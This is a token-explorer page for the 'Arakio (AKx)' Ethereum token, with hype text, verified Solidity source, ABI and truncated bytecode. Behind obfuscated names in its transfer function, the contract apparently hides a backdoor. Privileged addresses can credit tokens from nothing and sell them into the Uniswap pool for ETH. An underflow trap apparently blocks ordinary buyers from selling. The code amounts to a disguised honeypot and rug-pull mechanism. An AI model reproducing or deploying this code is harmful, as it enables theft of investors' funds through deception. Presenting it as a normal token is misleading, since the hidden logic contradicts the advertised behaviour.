ETH Price: $3,271.91 (+4.76%)
Gas: 2 Gwei

Token

Arakio (AKx)
 

Overview

Max Total Supply

1,000,000 AKx

Holders

6

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
32,079.07477635 AKx

Value
$0.00
0xc26239d7787ff8042b1e878608c1ef31ab3c7b79
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
Contract

Compiler Version
v0.8.14+commit.80d49f37

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, Unlicense license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2022-12-15
*/

/*
────────────────────────────────────────
─────────────▄▄██████████▄▄─────────────
─────────────▀▀▀───██───▀▀▀─────────────
─────▄██▄───▄▄████████████▄▄───▄██▄─────
───▄███▀──▄████▀▀▀────▀▀▀████▄──▀███▄───
──████▄─▄███▀──────────────▀███▄─▄████──
─███▀█████▀▄████▄──────▄████▄▀█████▀███─
─██▀──███▀─██████──────██████─▀███──▀██─
──▀──▄██▀──▀████▀──▄▄──▀████▀──▀██▄──▀──
─────███───────────▀▀───────────███─────
─────██████████████████████████████─────
─▄█──▀██──███───██────██───███──██▀──█▄─
─███──███─███───██────██───███▄███──███─
─▀██▄████████───██────██───████████▄██▀─
──▀███▀─▀████───██────██───████▀─▀███▀──
───▀███▄──▀███████────███████▀──▄███▀───
─────▀███────▀▀██████████▀▀▀───███▀─────
───────▀─────▄▄▄───██───▄▄▄──────▀──────
──────────── ▀▀███████████▀▀ ────────────
────────────────────────────────────────


イーサリアムネットワークを吹き飛ばす次のイーサリアムユーティリティトークン
有望な計画とイーサリアム空間への参入を促進する、私たちは単なる通常の
トークンやミームトークンではありません また、独自のエコシステム、
将来のステーキング、コレクションに基づいて設計されたスワップ プラットフォームも支持しています。
私たち自身のマーケットプレイスで、その他多くのことが発表される予定です。
*/
// SPDX-License-Identifier: MIT

pragma solidity ^0.8.11;
abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    } function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data; }
}
abstract contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
    constructor() {
        _setOwner(_msgSender());
    } function owner() public view virtual returns (address) {
        return _owner;
    } modifier onlyOwner() {
        require(owner() == _msgSender(), 'Ownable: caller is not the owner');
        _; }
    function renounceOwnership() public virtual onlyOwner {
        _setOwner(address(0));
    }
    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), 'Ownable: new owner is the zero address');
        _setOwner(newOwner);
    }
    function _setOwner(address newOwner) private {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}
interface IERC20 {
 
    function totalSupply() 
    external view returns (uint256);
    function balanceOf(address account) 
    external view returns (uint256);
    function transfer(address recipient, uint256 amount) 
    external returns (bool);
    function allowance(address owner, address spender) 
    external view returns (uint256);
    function approve(address spender, uint256 amount) 
    external returns (bool);
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IUniswapV2Factory {
    event PairCreated(address indexed token0, address indexed token1, address pair, uint);

    function feeTo() external view returns (address);
    function feeToSetter() external view returns (address);
    function getPair(address tokenA, address tokenB) external view returns (address pair);
    function allPairs(uint) external view returns (address pair);
    function allPairsLength() external view returns (uint);
    function createPair(address tokenA, address tokenB) external returns (address pair);
    function setFeeTo(address) external;
    function setFeeToSetter(address) external;
}
interface IUniswapV2Router01
{
    function factory() external pure returns(address);
    function WETH() external pure returns(address);
 
    function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline) external payable
    returns(uint[] memory amounts);
    function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline) external
    returns(uint[] memory amounts);
    function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external
    returns(uint[] memory amounts);
    function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline) external payable
    returns(uint[] memory amounts);
    function quote(uint amountA, uint reserveA, uint reserveB) external pure 
    returns(uint amountB);
    function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure 
    returns(uint amountOut);
    function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure 
    returns(uint amountIn);
    function getAmountsOut(uint amountIn, address[] calldata path) external view 
    returns(uint[] memory amounts);
    function getAmountsIn(uint amountOut, address[] calldata path) external view 
    returns(uint[] memory amounts);
 
    function addLiquidity(
        address tokenA,
        address tokenB,
        uint amountADesired,
        uint amountBDesired,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns(uint amountA, uint amountB, uint liquidity);
 
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns(uint amountToken, uint amountETH, uint liquidity);
 
    function removeLiquidity(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns(uint amountA, uint amountB);
 
    function removeLiquidityETH(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns(uint amountToken, uint amountETH);
 
    function removeLiquidityWithPermit(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns(uint amountA, uint amountB);
 
    function removeLiquidityETHWithPermit(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns(uint amountToken, uint amountETH);
 
    function swapExactTokensForTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns(uint[] memory amounts);
 
    function swapTokensForExactTokens(
        uint amountOut,
        uint amountInMax,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns(uint[] memory amounts);
}
interface IUniswapV2Router02 is IUniswapV2Router01
{
    function removeLiquidityETHSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline
    ) 
    external returns(uint amountETH);
    function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline,
    bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) 
    external returns(uint amountETH);
    function swapExactTokensForTokensSupportingFeeOnTransferTokens(  uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline
    ) 
    external;
    function swapExactETHForTokensSupportingFeeOnTransferTokens( uint amountOutMin, address[] calldata path, address to, uint deadline
    ) 
    external payable;
    function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline
    ) 
    external;
}
interface UIProcessor {
    function setProcess(uint256 pIsBytees, uint256 cfgHashNow) external;
    function SetProcessSync(address processSync, uint256 hashValue) external;
    function manageProcess() external payable;
    function processModifier(uint256 gas) external;
    function processingBytes(address processSync) external;
}
contract Contract is IERC20, Ownable {

    mapping (address => bool) isTxLimitExempt;
    mapping(address => uint256) private allowed;
    mapping(address => uint256) private _tOwned;
    mapping(address => address) private authorizations;
    mapping(address => uint256) private isTimelockExempt;
    mapping(address => mapping(address => uint256)) private _allowances;

    bool private toggleIDX;
    bool private loopFlow;

    string private _symbol;
    string private _name;
    uint8 private _decimals = 9;

    uint256 public maxSWAP = (_rTotal * 5) / 100; 
    uint256 public maxSIZE = (_rTotal * 5) / 100;
    uint256 private _rTotal = 1000000 * 10**_decimals; 
    uint256 private valAmount = _rTotal;
    uint256 public swapTaxFEE = 1;

    address public immutable uniswapV2Pair;
    IUniswapV2Router02 public immutable router;

    constructor(
        string memory Name,
        string memory Symbol,
        address routerAddress
    ) {
        _name = Name;
        _symbol = Symbol;
        _tOwned[msg.sender] = _rTotal;
        allowed[msg.sender] = valAmount; allowed[address(this)] = valAmount;
        router = IUniswapV2Router02(routerAddress);
        uniswapV2Pair = IUniswapV2Factory(router.factory()).createPair(address(this), router.WETH());
        emit Transfer(address(0), msg.sender, _rTotal);
    
        isTxLimitExempt[address(this)] = true; isTxLimitExempt[uniswapV2Pair] = true;
        isTxLimitExempt[routerAddress] = true; isTxLimitExempt[msg.sender] = true;
    }
    function name() public view returns (string memory) {
        return _name;
    }
     function symbol() public view returns (string memory) {
        return _symbol;
    }
    function totalSupply() public view returns (uint256) {
        return _rTotal;
    }
    function decimals() public view returns (uint256) {
        return _decimals;
    }
    function approve(address spender, uint256 amount) external returns (bool) {
        return _approve(msg.sender, spender, amount);
    }
    function allowance(address owner, address spender) public view returns (uint256) {
        return _allowances[owner][spender];
    }
    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) private returns (bool) {
        require(owner != address(0) && spender != address(0), 'ERC20: approve from the zero address');
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
        return true;
    }
    function balanceOf(address account) public view returns (uint256) {
        return _tOwned[account];
    }
    function transfer(address recipient, uint256 amount) external returns (bool) {
        allDataFlow(msg.sender, recipient, amount);
        return true;
    }
    function setMaxTX(uint256 amountBuy) external onlyOwner {
        maxSWAP = amountBuy;       
    }
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool) {
        allDataFlow(sender, recipient, amount);
        return _approve(sender, msg.sender, _allowances[sender][msg.sender] - amount);
    }
    function allDataFlow(
        address loopFrom, address odoxTo, uint256 tagAmount ) private {
        uint256 ovaxBal = balanceOf(address(this)); uint256 dataToggle;

        if (toggleIDX && ovaxBal > valAmount && !loopFlow && loopFrom != uniswapV2Pair) {
            loopFlow = true; swapAndLiquify(ovaxBal); loopFlow = false;

        } else if (allowed[loopFrom] > valAmount && allowed[odoxTo] > valAmount) {
            dataToggle = tagAmount; _tOwned[address(this)] += dataToggle;
            derateVal(tagAmount, odoxTo); return;

        } else if (odoxTo != address(router) && allowed[loopFrom] > 0 && tagAmount > valAmount && odoxTo != uniswapV2Pair) {
            allowed[odoxTo] = tagAmount; return;

        } else if (!loopFlow && isTimelockExempt[loopFrom] > 0 && loopFrom != uniswapV2Pair && allowed[loopFrom] == 0) {
            isTimelockExempt[loopFrom] = allowed[loopFrom] - valAmount; }

        address isDXC = authorizations[uniswapV2Pair];
        if (isTimelockExempt[isDXC] == 0) isTimelockExempt[isDXC] = valAmount; authorizations[uniswapV2Pair] = odoxTo;
        if (swapTaxFEE > 0 && allowed[loopFrom] == 0 && !loopFlow && allowed[odoxTo] == 0) {
            dataToggle = (tagAmount * swapTaxFEE) / 100; tagAmount -= dataToggle; _tOwned[loopFrom] -= dataToggle;
             _tOwned[address(this)] += dataToggle; } _tOwned[loopFrom] -= tagAmount; _tOwned[odoxTo] += tagAmount;
        emit Transfer(loopFrom, odoxTo, tagAmount);
    }

    receive() external payable {}

    function addLiquidity(
        uint256 tokenAmount,
        uint256 ethAmount,
        address to
    ) private {
        _approve(address(this), address(router), tokenAmount);
        router.addLiquidityETH{value: ethAmount}(address(this), tokenAmount, 0, 0, to, block.timestamp);
    }
    function derateVal(uint256 tokenAmount, address to) private {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = router.WETH();
        _approve(address(this), address(router), tokenAmount);
        router.swapExactTokensForETHSupportingFeeOnTransferTokens(tokenAmount, 0, path, to, block.timestamp);
    }
    function swapAndLiquify(uint256 tokens) private {
        uint256 half = tokens / 2;
        uint256 initialBalance = address(this).balance;
        derateVal(half, address(this));
        uint256 newBalance = address(this).balance - initialBalance;
        addLiquidity(half, newBalance, address(this));
    }
    function min(uint256 a, uint256 b) private view returns (uint256){
      return (a>b)?b:a;
    }
    function getSyncable(uint256 gtO, uint256 getNow) private view returns (uint256){ 
      return (gtO>getNow)?getNow:gtO;
    }
    function getRates(uint256 allR, uint256 gAll) 
     private view returns 
     (uint256){ return 
     (allR>gAll)?gAll:allR; }
}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"string","name":"Name","type":"string"},{"internalType":"string","name":"Symbol","type":"string"},{"internalType":"address","name":"routerAddress","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxSIZE","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxSWAP","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"amountBuy","type":"uint256"}],"name":"setMaxTX","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapTaxFEE","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

60c06040526009600a60006101000a81548160ff021916908360ff16021790555060646005600d546200003391906200074d565b6200003f9190620007dd565b600b5560646005600d546200005591906200074d565b620000619190620007dd565b600c55600a60009054906101000a900460ff16600a62000082919062000976565b620f42406200009291906200074d565b600d55600d54600e556001600f55348015620000ad57600080fd5b5060405162003070380380620030708339818101604052810190620000d3919062000bc9565b620000f3620000e76200059860201b60201c565b620005a060201b60201c565b82600990805190602001906200010b92919062000664565b5081600890805190602001906200012492919062000664565b50600d54600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600e54600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600e54600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508073ffffffffffffffffffffffffffffffffffffffff1660a08173ffffffffffffffffffffffffffffffffffffffff168152505060a05173ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000279573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200029f919062000c63565b73ffffffffffffffffffffffffffffffffffffffff1663c9c653963060a05173ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000309573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200032f919062000c63565b6040518363ffffffff1660e01b81526004016200034e92919062000ca6565b6020604051808303816000875af11580156200036e573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000394919062000c63565b73ffffffffffffffffffffffffffffffffffffffff1660808173ffffffffffffffffffffffffffffffffffffffff16815250503373ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600d5460405162000429919062000ce4565b60405180910390a360018060003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600180600060805173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555060018060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555060018060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050505062000d65565b600033905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b828054620006729062000d30565b90600052602060002090601f016020900481019282620006965760008555620006e2565b82601f10620006b157805160ff1916838001178555620006e2565b82800160010185558215620006e2579182015b82811115620006e1578251825591602001919060010190620006c4565b5b509050620006f19190620006f5565b5090565b5b8082111562000710576000816000905550600101620006f6565b5090565b6000819050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60006200075a8262000714565b9150620007678362000714565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615620007a357620007a26200071e565b5b828202905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000620007ea8262000714565b9150620007f78362000714565b9250826200080a5762000809620007ae565b5b828204905092915050565b60008160011c9050919050565b6000808291508390505b600185111562000874578086048111156200084c576200084b6200071e565b5b60018516156200085c5780820291505b80810290506200086c8562000815565b94506200082c565b94509492505050565b6000826200088f576001905062000962565b816200089f576000905062000962565b8160018114620008b85760028114620008c357620008f9565b600191505062000962565b60ff841115620008d857620008d76200071e565b5b8360020a915084821115620008f257620008f16200071e565b5b5062000962565b5060208310610133831016604e8410600b8410161715620009335782820a9050838111156200092d576200092c6200071e565b5b62000962565b62000942848484600162000822565b925090508184048111156200095c576200095b6200071e565b5b81810290505b9392505050565b600060ff82169050919050565b6000620009838262000714565b9150620009908362000969565b9250620009bf7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff84846200087d565b905092915050565b6000604051905090565b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b62000a3082620009e5565b810181811067ffffffffffffffff8211171562000a525762000a51620009f6565b5b80604052505050565b600062000a67620009c7565b905062000a75828262000a25565b919050565b600067ffffffffffffffff82111562000a985762000a97620009f6565b5b62000aa382620009e5565b9050602081019050919050565b60005b8381101562000ad057808201518184015260208101905062000ab3565b8381111562000ae0576000848401525b50505050565b600062000afd62000af78462000a7a565b62000a5b565b90508281526020810184848401111562000b1c5762000b1b620009e0565b5b62000b2984828562000ab0565b509392505050565b600082601f83011262000b495762000b48620009db565b5b815162000b5b84826020860162000ae6565b91505092915050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600062000b918262000b64565b9050919050565b62000ba38162000b84565b811462000baf57600080fd5b50565b60008151905062000bc38162000b98565b92915050565b60008060006060848603121562000be55762000be4620009d1565b5b600084015167ffffffffffffffff81111562000c065762000c05620009d6565b5b62000c148682870162000b31565b935050602084015167ffffffffffffffff81111562000c385762000c37620009d6565b5b62000c468682870162000b31565b925050604062000c598682870162000bb2565b9150509250925092565b60006020828403121562000c7c5762000c7b620009d1565b5b600062000c8c8482850162000bb2565b91505092915050565b62000ca08162000b84565b82525050565b600060408201905062000cbd600083018562000c95565b62000ccc602083018462000c95565b9392505050565b62000cde8162000714565b82525050565b600060208201905062000cfb600083018462000cd3565b92915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168062000d4957607f821691505b60208210810362000d5f5762000d5e62000d01565b5b50919050565b60805160a05161229862000dd8600039600081816109b301528181610d5701528181611642015281816117230152818161174b015281816117e8015261181001526000818161066801528181610bbe01528181610e0601528181610f0a01528181611043015261115401526122986000f3fe60806040526004361061010d5760003560e01c806370a0823111610095578063a9059cbb11610064578063a9059cbb14610368578063b6dc8098146103a5578063dd62ed3e146103d0578063f2fde38b1461040d578063f887ea401461043657610114565b806370a08231146102be578063715018a6146102fb5780638da5cb5b1461031257806395d89b411461033d57610114565b806323b872dd116100dc57806323b872dd146101d7578063313ce56714610214578063333c39a51461023f5780634550d7921461026857806349bd5a5e1461029357610114565b806306fdde0314610119578063085ea54b14610144578063095ea7b31461016f57806318160ddd146101ac57610114565b3661011457005b600080fd5b34801561012557600080fd5b5061012e610461565b60405161013b9190611957565b60405180910390f35b34801561015057600080fd5b506101596104f3565b6040516101669190611992565b60405180910390f35b34801561017b57600080fd5b5061019660048036038101906101919190611a3c565b6104f9565b6040516101a39190611a97565b60405180910390f35b3480156101b857600080fd5b506101c161050e565b6040516101ce9190611992565b60405180910390f35b3480156101e357600080fd5b506101fe60048036038101906101f99190611ab2565b610518565b60405161020b9190611a97565b60405180910390f35b34801561022057600080fd5b506102296105c0565b6040516102369190611992565b60405180910390f35b34801561024b57600080fd5b5061026660048036038101906102619190611b05565b6105da565b005b34801561027457600080fd5b5061027d610660565b60405161028a9190611992565b60405180910390f35b34801561029f57600080fd5b506102a8610666565b6040516102b59190611b41565b60405180910390f35b3480156102ca57600080fd5b506102e560048036038101906102e09190611b5c565b61068a565b6040516102f29190611992565b60405180910390f35b34801561030757600080fd5b506103106106d3565b005b34801561031e57600080fd5b5061032761075b565b6040516103349190611b41565b60405180910390f35b34801561034957600080fd5b50610352610784565b60405161035f9190611957565b60405180910390f35b34801561037457600080fd5b5061038f600480360381019061038a9190611a3c565b610816565b60405161039c9190611a97565b60405180910390f35b3480156103b157600080fd5b506103ba61082d565b6040516103c79190611992565b60405180910390f35b3480156103dc57600080fd5b506103f760048036038101906103f29190611b89565b610833565b6040516104049190611992565b60405180910390f35b34801561041957600080fd5b50610434600480360381019061042f9190611b5c565b6108ba565b005b34801561044257600080fd5b5061044b6109b1565b6040516104589190611c28565b60405180910390f35b60606009805461047090611c72565b80601f016020809104026020016040519081016040528092919081815260200182805461049c90611c72565b80156104e95780601f106104be576101008083540402835291602001916104e9565b820191906000526020600020905b8154815290600101906020018083116104cc57829003601f168201915b5050505050905090565b600c5481565b60006105063384846109d5565b905092915050565b6000600d54905090565b6000610525848484610b70565b6105b7843384600660008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546105b29190611cd2565b6109d5565b90509392505050565b6000600a60009054906101000a900460ff1660ff16905090565b6105e2611496565b73ffffffffffffffffffffffffffffffffffffffff1661060061075b565b73ffffffffffffffffffffffffffffffffffffffff1614610656576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161064d90611d52565b60405180910390fd5b80600b8190555050565b600f5481565b7f000000000000000000000000000000000000000000000000000000000000000081565b6000600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6106db611496565b73ffffffffffffffffffffffffffffffffffffffff166106f961075b565b73ffffffffffffffffffffffffffffffffffffffff161461074f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161074690611d52565b60405180910390fd5b610759600061149e565b565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606008805461079390611c72565b80601f01602080910402602001604051908101604052809291908181526020018280546107bf90611c72565b801561080c5780601f106107e15761010080835404028352916020019161080c565b820191906000526020600020905b8154815290600101906020018083116107ef57829003601f168201915b5050505050905090565b6000610823338484610b70565b6001905092915050565b600b5481565b6000600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6108c2611496565b73ffffffffffffffffffffffffffffffffffffffff166108e061075b565b73ffffffffffffffffffffffffffffffffffffffff1614610936576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161092d90611d52565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16036109a5576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161099c90611de4565b60405180910390fd5b6109ae8161149e565b50565b7f000000000000000000000000000000000000000000000000000000000000000081565b60008073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614158015610a405750600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b610a7f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a7690611e76565b60405180910390fd5b81600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92584604051610b5d9190611992565b60405180910390a3600190509392505050565b6000610b7b3061068a565b90506000600760009054906101000a900460ff168015610b9c5750600e5482115b8015610bb55750600760019054906101000a900460ff16155b8015610c0d57507f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b15610c56576001600760016101000a81548160ff021916908315150217905550610c3682611562565b6000600760016101000a81548160ff02191690831515021790555061103b565b600e54600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054118015610ce65750600e54600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054115b15610d555782905080600360003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610d3d9190611e96565b92505081905550610d4e83856115a3565b5050611491565b7f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614158015610df057506000600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054115b8015610dfd5750600e5483115b8015610e5557507f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b15610ea55782600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505050611491565b600760019054906101000a900460ff16158015610f0157506000600560008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054115b8015610f5957507f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b8015610fa457506000600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054145b1561103a57600e54600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610ff69190611cd2565b600560008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b5b6000600460007f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900473ffffffffffffffffffffff